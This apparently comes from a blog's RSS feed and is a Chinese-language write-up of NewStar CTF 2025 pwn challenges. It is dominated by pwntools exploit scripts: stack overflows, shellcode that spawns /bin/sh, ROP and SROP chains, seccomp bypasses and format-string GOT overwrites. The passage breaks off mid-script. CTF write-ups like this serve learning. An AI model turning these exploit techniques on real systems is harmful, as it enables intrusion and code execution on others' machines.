libc_os   = lambda x                :libc_base + x


payload = b&apos;hard.y&apos;.ljust(62, b&apos;\x00&apos;) + b&apos;\n&apos;
s(payload)

# sassssssaaaaasdddddwds
# sassssssaaaaasdddddwdsssdddsdsssssaasasssssdddddaaadssdswwdd

itr()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Newstar CTF 2025 Pwn WriteUp</title><link>https://blog.mcitd.cn/posts/newstar2025/wp/</link><guid isPermaLink="true">https://blog.mcitd.cn/posts/newstar2025/wp/</guid><pubDate>Sun, 30 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;参加的第一个CTF比赛，仅保留 Pwn 部分&lt;/p&gt;
&lt;p&gt;最后靠着 Pwn 到了校内第二名&lt;/p&gt;
&lt;p&gt;缺两道题 (content和llama-pwn)&lt;/p&gt;
&lt;h1&gt;Week 1&lt;/h1&gt;
&lt;h2&gt;GNU Debugger&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;使用r &amp;lt;server_ip&amp;gt; &amp;lt;server_port&amp;gt;运行&lt;/p&gt;
&lt;p&gt;关卡 1: 找到r12的值，输入c继续&lt;/p&gt;
&lt;p&gt;关卡 2: tel 0x402457得到GDB_IS_POWERFUL&lt;/p&gt;
&lt;p&gt;关卡 3: b *0x400fa9，接着c即可&lt;/p&gt;
&lt;p&gt;关卡 4: set {int}0x7fffffffdf04 = 0xdeadbeef 修改值&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;INTbug&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;IDA反编译，进入func()，发现任意输入一个正数，16位int的v1存在溢出漏洞，发送32768次后变为负数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# p = process(&apos;./INTbug&apos;)
p = remote(&apos;xxx&apos;, xxx)

payload = b&apos;1&apos;

p.recvuntil(b&apos;welcome to NewStarCTF2025!\n\n&apos;)

for i in range(32768):
    p.sendline(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;pwn&apos;s door&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;IDA反编译，发现输入7038329即可获得sh，然后cat flag&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;overflow&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;checksec，发现没有保护&lt;/p&gt;
&lt;p&gt;IDA反编译，发现使用gets读入，存在栈溢出&lt;/p&gt;
&lt;p&gt;发现后门函数backd00r，地址0x401200&lt;/p&gt;
&lt;p&gt;直接ret2text（需要使用ret平衡）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

# p = process(&apos;./overflow&apos;)
p = remote(&quot;xxx&quot;, xxx)

payload = b&apos;A&apos; * (0x100 + 8) + p64(0x401016) + p64(0x401200)

p.sendlineafter(b&apos;Enter your input:\n&apos;, payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;input_function&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;checksec，开启了NX和PIE&lt;/p&gt;
&lt;p&gt;IDA反编译，发现程序直接运行输入的东西&lt;/p&gt;
&lt;p&gt;使用shellcraft.sh()生成64位的execve(&quot;/bin/sh&quot;, 0, 0)函数对应的asm&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)

# p = process(&apos;./input_function&apos;)
p = remote(&quot;xxx&quot;, xxx)

payload = asm(shellcraft.sh())

p.recvuntil(b&apos;)\n&apos;)
p.send(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Week 2&lt;/h1&gt;
&lt;h2&gt;刻在栈里的秘密&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;RSI到密码距离为24&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;%24$p&lt;/code&gt; &lt;code&gt;%24$s&lt;/code&gt;得到地址和密码&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;input_small_function&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;程序读取0x14 (20) 的内容并直接执行&lt;/p&gt;
&lt;p&gt;尝试调用read(0, 某个地址, 0x500)并跳转过去&lt;/p&gt;
&lt;p&gt;利用xor设0，比mov小&lt;/p&gt;
&lt;p&gt;然后直接生成sh字节码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]

# p = process(&apos;./input_small_function&apos;)
p = remote(&quot;xxx&quot;, xxx)

payload = &quot;&quot;&quot;
    xor eax, eax
    xor edi, edi
    lea rsi, [rip + 0x50]
    mov edx, 0x500
    syscall
    jmp rsi
&quot;&quot;&quot;
compiled = asm(payload)
print(len(compiled))
assert len(compiled) &amp;lt;= 20
p.recvuntil(b&apos;)\n&apos;)
# gdb.attach(p)
p.send(compiled.ljust(20, b&apos;\x00&apos;))

payload = shellcraft.sh()
compiled = asm(payload)
p.send(compiled)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;syscall&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;程序开启了Canary，但似乎没有用?&lt;/p&gt;
&lt;p&gt;由于是32位程序，使用eax=0xb, ebx=&quot;/bin/sh&quot;, ecx=0, edx=0, int 0x80调用execve&lt;/p&gt;
&lt;p&gt;没有现成的/bin/sh，尝试写入bss段&lt;/p&gt;
&lt;p&gt;这里使用了0x080b431c : mov dword ptr [eax + 0x4c], edx ; ret辅助&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&quot;i386&quot;, log_level=&quot;debug&quot;)
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]

# p = process(&apos;./syscall&apos;)
p = remote(&quot;xxx&quot;, xxx)
elf = ELF(&apos;./syscall&apos;)

bss = elf.bss() + 0x100
int_0x80 = 0x08049c0a
eax = 0x080b438a
ebx = 0x08049022
ecx = 0x0804985a
edx = 0x0804985c
mov_in_eax_0x4c_edx = 0x080b431c

payload = b&apos;\x00&apos;*(0x12+4)
payload += p32(eax) + p32(bss)
payload += p32(edx) + b&apos;/bin&apos;
payload += p32(mov_in_eax_0x4c_edx)
payload += p32(eax) + p32(bss + 4)
payload += p32(edx) + b&apos;/sh\x00&apos;
payload += p32(mov_in_eax_0x4c_edx)
payload += p32(eax) + p32(0xb)
payload += p32(ebx) + p32(bss + 0x4c)
payload += p32(ecx) + p32(0)
payload += p32(edx) + p32(0)
payload += p32(int_0x80)

p.recvuntil(b&apos;pwn it guys!\n&apos;)
# gdb.attach(p)
p.send(payload)


p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;no shell&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;流程：不输入Y/y，2，2. Get the power of your cat， 1. Check your power&lt;/p&gt;
&lt;p&gt;沙箱阻止了execve，使用ORW得到flag&lt;/p&gt;
&lt;p&gt;用mov rdi, rax传递open的fd号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&quot;amd64&quot;, os=&quot;linux&quot;, log_level=&quot;debug&quot;)
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]

# p = process(&quot;./noshell&quot;)
p = remote(&quot;xxx&quot;, xxx)
elf = ELF(&quot;./noshell&quot;)

bss_start = elf.bss() + 0x100

rdi = 0x4013f3
rsi = 0x4013f5
rdx = 0x4013f7
ret = 0x40101a

p.sendlineafter(b&apos;something?\n&apos;, b&apos;0&apos;)
p.sendlineafter(b&apos;flag?\n&apos;, b&apos;2&apos;)
p.sendlineafter(b&apos;your choice: &apos;, b&apos;2&apos;)
p.sendlineafter(b&apos;your choice: &apos;, b&apos;1&apos;)

payload = b&apos;\x00&apos;*(0x20+8) + p64(rdi) + p64(0) + p64(rsi) + p64(bss_start) + p64(rdx) + p64(7) + p64(elf.plt[&apos;read&apos;])
payload += p64(rdi) + p64(bss_start) + p64(rsi) + p64(0) + p64(elf.plt[&apos;open&apos;])
payload += p64(0x4013f9) + p64(rsi) + p64(bss_start + 0x100) + p64(rdx) + p64(0x30) + p64(elf.plt[&apos;read&apos;])
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss_start + 0x100) + p64(rdx) + p64(0x30) + p64(elf.plt[&apos;write&apos;])

p.sendafter(b&apos;say something:\n&apos;, payload)

p.send(b&apos;./flag\x00&apos;)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;calc_beta&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;进入edit_numbers后，栈结构长这样：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;rsp&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;... （有Canary）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rbp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;rip -&amp;gt; main&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;s[136]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;而index没有检查&amp;lt;=0，所以修改位置0（&amp;amp;s[8 * (0-1)]）刚好就是rip，其他东西以数字形式放入s[]&lt;/p&gt;
&lt;p&gt;使用libc2csu&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&quot;amd64&quot;, os=&quot;linux&quot;, log_level=&quot;debug&quot;)
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]

# p = process(&apos;./calc&apos;)
p = remote(&quot;xxx&quot;, xxx)
elf = ELF(&apos;./calc&apos;)
libc = ELF(&apos;./libc.so.6&apos;)

bss = elf.bss() + 0x100
main = 0x4010B4
gadget1 = 0x40124A
gadget2 = 0x401230

def edit(index, value):
    if value == 0:
        return
    p.sendafter(b&apos;&amp;gt; &apos;, b&apos;2&apos;)
    p.sendafter(b&apos;&amp;gt; &apos;, str(index).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(value).encode())

# 泄露write -&amp;gt; libc地址
edit(1, 0)
edit(2, 1)
edit(3, elf.got[&apos;write&apos;])
edit(4, 1)
edit(5, elf.got[&apos;write&apos;])
edit(6, 6)
edit(7, gadget2)
edit(8, 0)
edit(9, 0)
edit(10, 0)
edit(11, 0)
edit(12, 0)
edit(13, 0)
edit(14, 0)
edit(15, main)
edit(0, gadget1)

write_addr = u64(p.recv(6).ljust(8, b&apos;\x00&apos;))
log.success(hex(write_addr))
libc_addr = write_addr - libc.sym[&apos;write&apos;]
log.success(hex(libc_addr))
system_addr = libc_addr + libc.sym[&apos;system&apos;]

# 将&apos;/bin/sh\x00&apos;放入bss
edit(1, 0)
edit(2, 1)
edit(3, elf.got[&apos;read&apos;])
edit(4, 0)
edit(5, bss)
edit(6, 8)
edit(7, gadget2)
edit(8, 0)
edit(9, 0)
edit(10, 0)
edit(11, 0)
edit(12, 0)
edit(13, 0)
edit(14, 0)
edit(15, main)
edit(0, gadget1)
p.send(b&apos;/bin/sh\x00&apos;)

# 调用system
edit(1, bss)
edit(2, 0x4006b6) # ret
edit(3, system_addr)
# gdb.attach(p)
edit(0, 0x401253) # pop rdi ; ret

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Week 3&lt;/h1&gt;
&lt;h2&gt;fmt and canary&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;输入AAAAAAAA %p %p %p %p %p %p %p %p，得知偏移为6&lt;/p&gt;
&lt;p&gt;通过调试得Canary位于6+5=11，(__libc_start_main+128) 位于6+27=33&lt;/p&gt;
&lt;p&gt;输入end后使用ret2libc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]

# p = process(&apos;./fmt_canary&apos;)
p = remote(&apos;xxx&apos;, xxx)
elf = ELF(&apos;./fmt_canary&apos;)
libc = ELF(&apos;./libc.so.6&apos;)

p.recvuntil(b&apos;!\n&apos;)
p.send(b&apos;%11$p&apos;.ljust(8, b&apos;\x00&apos;))

recv = p.recv(18)
print(str(recv[2:]))
canary = int(recv.decode(), 16)
success(f&quot;Canary -&amp;gt; {hex(canary)}&quot;)

p.recvuntil(b&apos;!\n&apos;)
# gdb.attach(p)
p.send(b&apos;%33$p\n&apos;.ljust(8, b&apos;\x00&apos;))

recv = p.recvline()
libc_base = int(recv.strip().decode(), 16) - (libc.sym[&apos;__libc_start_main&apos;] + 128)
success(f&quot;libc_base -&amp;gt; {hex(libc_base)}&quot;)

p.recvuntil(b&apos;!\n&apos;)
p.send(b&apos;end\n&apos;)

p.recvuntil(b&apos;QwQ:&apos;)
payload = b&apos;\x00&apos;*40 + p64(canary) + p64(0) + p64(libc_base + 0x02a3e5) + p64(libc_base + 0x1d8678) + p64(0x40101a) + p64(libc_base + libc.sym[&apos;system&apos;])
p.send(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;sandbox_plus&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;seccomp-tools dump查看，发现禁用了execve和常规orw&lt;/p&gt;
&lt;p&gt;这里使用openat+readv+writev&lt;/p&gt;
&lt;p&gt;这里内存开在了0x114000~0x115000&lt;/p&gt;
&lt;p&gt;需要提前把iov结构体放在某个地方&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;)
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]

# p = process(&apos;./sandbox_plus&apos;)
p = remote(&apos;xxx&apos;, xxx)

# gdb.attach(p)

# struct iovec{
#     void __user* iov_base;
#     __kernel_size_t iov_len;
# }

shellcode = shellcraft.openat(-100, &quot;./flag&quot;, 0, 0) # AT_FDCWD(-100)，指定路径为当前路径
shellcode += f&apos;&apos;&apos;
    mov qword ptr [0x114200], 0x114300
    mov qword ptr [0x114208], 0x30
&apos;&apos;&apos;
shellcode += shellcraft.readv(3, 0x114200, 1)
shellcode += shellcraft.writev(1, 0x114200, 1)


print(shellcode)

p.sendafter(b&apos;)\n&apos;, asm(shellcode))

p.interactive()

&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;calc_meow&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;程序开启了PIE，首先想方法获得程序基址&lt;/p&gt;
&lt;p&gt;调试发现calc()里rip位置指向 (main + 245) 位置&lt;/p&gt;
&lt;p&gt;由于调用show_numbers()后只能修改一次，必须通过计算的方法放入数据&lt;/p&gt;
&lt;p&gt;泄露libc地址后，使用ret2libc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&quot;amd64&quot;, os=&quot;linux&quot;, log_level=&quot;debug&quot;)
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]

# p = process(&apos;./calc&apos;)
p = remote(&apos;xxx&apos;, xxx)
elf = ELF(&apos;./calc&apos;)
libc = ELF(&apos;./libc.so.6&apos;)

ret = 0x00101a
rdi_ret = 0x001d11

def edit(index, value):
    if value == 0:
        return
    p.sendafter(b&apos;&amp;gt; &apos;, b&apos;2&apos;)
    p.sendafter(b&apos;&amp;gt; &apos;, str(index).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(value).encode())

def add(index1, index2, index3):
    p.sendafter(b&apos;&amp;gt; &apos;, b&apos;1&apos;)
    p.sendafter(b&apos;&amp;gt; &apos;, str(index1).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(index2).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(index3).encode())

def sub(index1, index2, index3):
    p.sendafter(b&apos;&amp;gt; &apos;, b&apos;2&apos;)
    p.sendafter(b&apos;&amp;gt; &apos;, str(index1).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(index2).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(index3).encode())

edit(16, elf.sym[&apos;main&apos;] + 245)
edit(15, rdi_ret)
edit(1, elf.got[&apos;puts&apos;])
edit(2, elf.plt[&apos;puts&apos;])
edit(3, elf.sym[&apos;main&apos;])

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

sub(0, 16, 16) # 16 -&amp;gt; p_base
for i in range(1, 4):
    add(i, 16, i)
add(15, 16, 0)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

libc_base = u64(p.recv(6).ljust(8, b&apos;\x00&apos;)) - libc.sym[&apos;puts&apos;]
log.success(f&apos;libc_base ----&amp;gt; {hex(libc_base)}&apos;)


edit(0, libc_base + 0xebd43) # one_gadget

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;only_read&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;程序禁用了execve，使用orw&lt;/p&gt;
&lt;p&gt;gift()提供了srop的机会和syscall ; ret&lt;/p&gt;
&lt;p&gt;利用main的两次read，可以实现栈迁移&lt;/p&gt;
&lt;p&gt;流程：栈迁移 -&amp;gt; ret gift -&amp;gt; 设置寄存器 -&amp;gt; syscall ; ret -&amp;gt; gift ...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, log_level=&apos;debug&apos;)
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]

# p = process(&apos;./srop&apos;)
p = remote(&apos;xxx&apos;, xxx)
elf = ELF(&apos;./srop&apos;)

bss = elf.bss(0x200)
syscall_ret = 0x40136D
gift = 0x401366

payload = b&apos;\x00&apos;*0x10 + p64(bss - 0x30) + p64(0x401349)
p.send(payload)

sleep(1)

payload = p64(bss - 0x10)*3 + p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = bss - 0x8
frame.rdx = 0x400
frame.rsp = bss
frame.rbp = bss + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
p.send(payload[:0x100])

payload = p64(0x67616c662f2e) # &quot;./flag&quot; &amp;lt;- bss - 0x8
payload += p64(gift) # &amp;lt;- bss
frame = SigreturnFrame()
frame.rax = constants.SYS_open
frame.rdi = bss - 0x8
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss + 0x100 # 刚好到下面的gift地址
frame.rbp = bss + 0x100 + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
payload += p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 3
frame.rsi = bss - 0x100 # 文件内容 &amp;lt;- bss - 0x100
frame.rdx = 0x30
frame.rsp = bss + 0x100 + 0x100
frame.rbp = bss + 0x100 + 0x100 + 0x100
frame.rip = syscall_ret
payload += bytes(frame)
payload += p64(gift)
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 1
frame.rsi = bss - 0x100
frame.rdx = 0x30
frame.rip = syscall_ret
payload += bytes(frame)
p.send(payload)


p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;小的明？题问&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;注意到 user* users; int user_counts, user_size; 在所有线程共用&lt;/p&gt;
&lt;p&gt;且没有限制同一个账号的登录&lt;/p&gt;
&lt;p&gt;于是随意注册一个账号，用两个客户端同时登录，两次删除&lt;/p&gt;
&lt;p&gt;这样就把user_counts降为0，相当于删除了root账号&lt;/p&gt;
&lt;p&gt;此时再注册root账号，拿到flag&lt;/p&gt;
&lt;h1&gt;Week 4&lt;/h1&gt;
&lt;h2&gt;fmt and got&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;程序是No RELRO，意味着可以随意修改got表&lt;/p&gt;
&lt;p&gt;存在后门函数read_flag&lt;/p&gt;
&lt;p&gt;所以通过&lt;code&gt;%x$hnn&lt;/code&gt;修改单字节来把got_exit改为read_flag地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.arch = &quot;amd64&quot;
context.log_level = &quot;debug&quot;
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]
context.bits = 64

# p = process(&apos;./fmt_got&apos;)
p = remote(&apos;xxx&apos;, xxx)
elf = ELF(&apos;./fmt_got&apos;)

# payload = fmtstr_payload(??, {elf.got[&apos;exit&apos;]: elf.sym[&apos;read_flag&apos;]})

# read_flag &amp;lt;- 0x401236 (0x36-&amp;gt;54, 0x112-&amp;gt;274)
# &quot;That&apos;s what you want to say...    &quot; -&amp;gt; len = 34

payload = b&apos;%20x%14$hhn%220x%15$hhn&apos; # len = 23
payload += b&apos;\x00&apos;*7 # len = 7
payload += p64(0x403430) + p64(0x403431) # 64 =&amp;gt; 8+6=14


print(payload)

# gdb.attach(p)

p.sendafter(b&apos;\n&amp;gt; &apos;, payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;memory&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;程序读入了/flag文件，并映射到内存某个位置&lt;/p&gt;
&lt;p&gt;之后读入内容放入flag后，使用mprotect使对应位置可执行&lt;/p&gt;
&lt;p&gt;沙箱仅允许write和exit&lt;/p&gt;
&lt;p&gt;之后清空了所有寄存器，只留rip&lt;/p&gt;
&lt;p&gt;在gdb中用search搜索flag，发现就在rip前面一点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.arch = &quot;amd64&quot;
context.log_level = &quot;debug&quot;
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]

# p = process(&apos;./memory&apos;)
p = remote(&apos;xxx&apos;, xxx)

p.recvuntil(b&quot; &amp;gt; &quot;)

shellcode = &apos;&apos;&apos;

    lea rsp, [rip-0x50]
    mov al, 1
    mov dil, 1
    mov rsi, rsp
    mov rdx, 0x60
    syscall


&apos;&apos;&apos;

# gdb.attach(p)

p.send(asm(shellcode))

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;海市蜃楼&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;city函数放在.init_array段中，在main前执行&lt;/p&gt;
&lt;p&gt;其将一些随机字节放入0x10000~0x50000并设为可执行&lt;/p&gt;
&lt;p&gt;通过get_sands获得随机种子，如果使用相同随机数生成器就可以得到相同结果&lt;/p&gt;
&lt;p&gt;这里使用python的ctypes.CDLL&lt;/p&gt;
&lt;p&gt;在随机数据中寻找pop rdi; ret来传参，然后ret2libc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
import ctypes

libc_dll = ctypes.CDLL(&quot;./libc.so.6&quot;)

context.arch = &quot;amd64&quot;
# context.log_level = &quot;debug&quot;
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]
context.bits = 64

# p = process(&apos;./desert&apos;)
p = remote(&apos;xxx&apos;, xxx)
elf = ELF(&apos;./desert&apos;)
libc = ELF(&apos;./libc.so.6&apos;)

ret = 0x40101a

shellcode = &apos;&apos;&apos;
    pop rdi
    ret
&apos;&apos;&apos; # =&amp;gt; 95 195

# for c in asm(shellcode):
#     print(c)

p.sendlineafter(b&apos;&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
p.recvuntil(b&apos;?? &apos;)
seed = int(p.recvline().decode().split(&apos; &apos;)[0])
log.success(f&apos;seed ---&amp;gt; {seed}&apos;)
libc_dll.srand(seed)

L = []
for i in range(0x3FFFF+1):
    L.append(libc_dll.rand() % 256)

pop_rdi_ret = 0
for i in range(0x3FFFF+1):
    if L[i] == 95 and L[i+1] == 195:
        pop_rdi_ret = i
        break

if pop_rdi_ret == 0:
    log.error(&quot;Not Found!&quot;)
    exit(0)

log.success(f&apos;pop_rdi_ret ---&amp;gt; {pop_rdi_ret}&apos;)

p.sendlineafter(b&apos;&amp;gt;&amp;gt; &apos;, b&apos;2&apos;)
p.recvuntil(b&apos;&amp;gt;&amp;gt; &apos;)

payload = b&apos;A&apos;*(0x50+8) + p64(0x10000 + pop_rdi_ret) + p64(elf.got[&apos;read&apos;]) + p64(ret) + p64(elf.sym[&apos;my_puts&apos;]) + p64(0x401563)
p.send(payload)

s = b&apos;&apos;
for i in range(6):
    s += p.recv(1)

libc_base = u64(s.ljust(8, b&apos;\x00&apos;)) - libc.sym[&apos;read&apos;]
log.success(f&apos;libc_base ---&amp;gt; {hex(libc_base)}&apos;)


p.recvuntil(b&apos;&amp;gt;&amp;gt; &apos;)

payload = b&apos;A&apos;*(0x50) + p64(0) + p64(0x10000 + pop_rdi_ret) + p64(libc_base + 0x1d8678) + p64(ret) + p64(libc_base + libc.sym[&apos;system&apos;])

# gdb.attach(p)

p.send(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;calc_queen&lt;/h2&gt;
&lt;h3&gt;操作内容：&lt;/h3&gt;
&lt;p&gt;基本找不到稳定的传参方法，无法直接泄露任何地址&lt;/p&gt;
&lt;p&gt;已知main对应栈帧下方有__libc_start_main+128的地址&lt;/p&gt;
&lt;p&gt;如果能把main栈帧搞到下面，就可以用calc()计算出libc地址&lt;/p&gt;
&lt;p&gt;这里找到了add rsp, 8和pop rbp; ret&lt;/p&gt;
&lt;p&gt;在main中使用add rsp, 8并回到main，再进入edit()&lt;/p&gt;
&lt;p&gt;就能使edit的栈帧和s[]有部分重叠，使用calc()就能将main的rbp放入s[]&lt;/p&gt;
&lt;p&gt;再用pop rbp; ret，就可以成功将栈向下移动32位&lt;/p&gt;
&lt;p&gt;重复这个过程，注意向下移动时要迁移保留程序基址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&quot;amd64&quot;, os=&quot;linux&quot;, log_level=&quot;debug&quot;)
context.terminal = [&quot;tmux&quot;, &quot;splitw&quot;, &quot;-h&quot;]

# p = process(&apos;./calc&apos;)
p = remote(&apos;xxx&apos;, xxx)
elf = ELF(&apos;./calc&apos;)
libc = ELF(&apos;./libc.so.6&apos;)

pop_rbp_ret = 0x001293
add_rsp_ret = 0x001CBC
rdi_ret = 0x001d11

def edit(index, value):
    p.sendafter(b&apos;&amp;gt; &apos;, b&apos;2&apos;)
    p.sendafter(b&apos;&amp;gt; &apos;, str(index).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(value).encode())

def edit2(index, value):
    p.sendafter(b&apos;&amp;gt; &apos;, str(index).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(value).encode())

def add(index1, index2, index3):
    p.sendafter(b&apos;&amp;gt; &apos;, b&apos;1&apos;)
    p.sendafter(b&apos;&amp;gt; &apos;, str(index1).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(index2).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(index3).encode())

def sub(index1, index2, index3):
    p.sendafter(b&apos;&amp;gt; &apos;, b&apos;2&apos;)
    p.sendafter(b&apos;&amp;gt; &apos;, str(index1).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(index2).encode())
    p.sendafter(b&apos;&amp;gt; &apos;, str(index3).encode())

edit(8, elf.sym[&apos;main&apos;] + 240)
# edit(1, elf.bss(16))
# edit(2, 0x001C4E)
edit(2, 0x001C4E) # edit
edit(1, add_rsp_ret) # add rsp, 8 ; ret

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

sub(0, 8, 8) # 8 -&amp;gt; p_base
add(2, 8, 2)
add(1, 8, 0)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

# ------------------------------------

edit2(7, 32)
edit(5, pop_rbp_ret)
edit(4, add_rsp_ret)
edit(6, 0x001C4E)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

add(1, 3, 3) # 3 -&amp;gt; rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(4, 8, 4) # add rsp, 8 ; ret
add(6, 8, 6)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;6&apos;) # leave calc

# ------------------------------------

edit2(7, 32)
edit(8, 0)
edit(6, 0x001C4E)
edit(3, add_rsp_ret)
edit(5, pop_rbp_ret)

p.sendafter(b&apos;&amp;gt; &apos;, b&apos;4&apos;) # enter calc

add(4, 8, 8) # 8 -&amp;gt; p_base
add(3, 8, 4) # add rsp, 8 ; ret
sub(3, 3, 3) # 3 = 0
add(1, 3, 3) # 3 -&amp;gt; rbp
add(3, 7, 3) # rbp += 8
add(5, 8, 2) # pop rbp ; ret
add(6, 8, 6)

